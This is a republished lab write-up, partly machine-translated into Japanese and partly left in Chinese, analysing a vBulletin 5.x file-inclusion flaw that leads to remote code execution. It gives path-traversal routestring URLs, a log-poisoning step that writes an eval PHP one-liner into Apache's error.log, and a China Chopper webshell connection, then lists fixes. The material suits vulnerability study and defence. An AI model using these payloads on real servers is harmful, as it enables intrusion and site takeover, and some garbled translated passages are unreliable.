ホームページ  >  記事  >  運用・保守  >  vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

王林
王林転載
2023-05-19 23:46:041379ブラウズ

1. 脆弱性の紹介

vBulletin にはファイル インクルードの問題があり、悪意のある訪問者が vBulletin サーバーからファイルをインクルードし、任意の PHP コードを実行できるようになります。未検証の悪意のある訪問者が、routestring= パラメーターを含む GET リクエストをindex.php に発行することにより、ファイル インクルードの脆弱性を引き起こす可能性があり、最終的にはリモート コード実行の脆弱性

2につながる可能性があります。
index.php ページは、ルート文字列パラメーターを使用してローカル ファイルを含める GET リクエストを送信し、関数関数をレイヤーごとに呼び出して、ルート文字列値をフィルターします。メインの処理コードを見てみましょう。

このコードは

/includes/vb5/frontend/routing.php

File<pre class="brush:php;toolbar:false">if  (strlen($path)  &gt;  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header(&quot;HTTP/1.0 404 Not Found&quot;);            die('');          }    }</pre> にあります。このコードは、

routestring

によって取得された値が正しいかどうかを決定します。 .gif.png.jpg.css または .js の末尾にあります。存在する場合、ヘッダー情報は 404<pre class="brush:php;toolbar:false">if  (strpos($path,  '/')  ===  false)            {                $this-&gt;controller  =  'relay';              $this-&gt;action  =  'legacy';              $this-&gt;template  =  '';              $this-&gt;arguments  =  array($path);              $this-&gt;queryParameters  =  array();              return;          }</pre> を返します。このコードの

strpos()

関数は、/ 文字が 内で最初に出現する位置を返します。 $path、返された情報が false の場合にのみ処理が続行されます。これは、/ がパスに現れないことを意味します。 Linux サーバーの場合、URL を処理するとき、/ はディレクトリ層の区切り文字およびインジケーターを表すため、Web サイト内の他のファイルを複数の ../ の形式で含めることはできません。ただし、Windows サーバーの場合、パスを表すときの / と \ は同等であり、プログラムは \ を処理しないため、Windows サーバーにこのファイル インクルードの脆弱性が発生します。

影響を受けるバージョン

バージョン番号 vBulletin v5.x バージョン 脆弱性の発見者は製造元に連絡しましたが、まだ返答がありません

3 . 脆弱性の悪用


次の実践パートでは、脆弱性の理解と活用を段階的に深めていきます。まず、このページを使用してエラーを報告し、サーバー関連の情報を取得します。その後、内部ファイルを含めます。サーバーの phpinfo() を実行してコードの実行を確認し、最後に Web サイトの管理権限を取得するために Web サイトのログ ファイルに PHP で文を書き込みます。

ステップ 1 脆弱性の検証

このステップでは、エラー レポートを使用してサーバー情報を取得し、脆弱性を使用して検証のための phpinfo() 関数の実行を組み込みます

1. ターゲット URL 172.16.12.2/vb5/index.php を開き、Web サイトのホームページは次のとおりです:

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例2. 脆弱性を参照してください。ページにアクセスし、エラー メッセージ

ブラウザで 172.16 を開きます。12.2/vb5/index.php?routestring=.\\、エラー メッセージは次のとおりです:

#ページで require_once() を使用して現在のパス (C:\phpstudy\ WWW\vb5/core/.\\) を含めることは許可されておらず、エラーが報告されていることがわかります。 Web サイトと Web サイト構築ソフトウェアのパス: phpstudyvBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

phpstudy Web サイトを構築するとき、デフォルトでは Web サイトのルート ディレクトリに残ります。次に l.php および phpinfo.php ファイルです。通常は Web サイトです。管理者はこれら 2 つのファイルを削除または変更します。\ にはエスケープの意味もあり、パスを表現する場合には \\ と \ は同等であるため、エスケープを防ぐために \\ を使用します (この実験も完了できます)

3. phpinfo.txt ファイルにアクセスします
脆弱性が含まれていることを確認するには、Web サイトのルート ディレクトリに phpinfo.txt ファイルがあり、その内容は 、ファイルに直接アクセスしようとします。 http://172.16.12.2/phpinfo.txt

Web サイトに直接アクセスすると、テキスト コンテンツが表示されますvBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

4. phpinfo.txt ファイルをインクルードします

次に、ファイルをインクルードして、構築されたリンクを開いてみます

http://172.16.12.2/vb5/index .php?routestring=\ \..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt

ここでは、サーバー上の Web サイトの絶対パスがすでにわかっているため、複数の ..\\ とファイル パスを使用して、含まれるファイルの Web サイト パスを示します。ファイルを含めた後、サーバーは次のように解析されます。 php ファイルと phpinfo() 関数が実行されます。 vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

phpinfo(): PHP 組み込み関数。PHP サーバーの構成情報を出力します。


ステップ 2 脆弱性の悪用

一般的に, PHP ファイルインクルードの脆弱性を悪用する方法は、まず Web サイトのアップロード ポイントを使用して悪意のあるコードを含むファイルをアップロードし、次にアップロードされたファイルのパスを見つけて URL を構築し、脆弱性を含めることで悪意のあるコードを実行します。ただし、Web サイト自体に利用可能なアップロード ポイントがない場合、アップロードされるファイルに制限がありファイルのパスを知ることができない場合、または入力中に取得したパラメーターがフィルターされている場合、この方法は機能しません。

上記のことから、プログラムにはインクルードされるファイルのサフィックスに制限があることがわかります。他の用途がない場合は、Web サイト自体に存在するファイルをインクルードすることを選択できます。この実験で使用: Web サイトのログ ファイルを含める

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

http://172.16.12.2/vb5/index.php<?php  @eval($_POST[c]);?>

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

具体配置如下图,修改后确定

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。


vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

我们将被编码的链接改回编码之前的状态,修改后的内容如下:

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

2.构造Webshell连接地址

们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
  1. 客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

vBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品

  • (2) 企业用户可修改网站源代码,增加\字符的过滤处理

  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

以上がvBulletin5.x バージョンにおけるリモートコード実行の脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。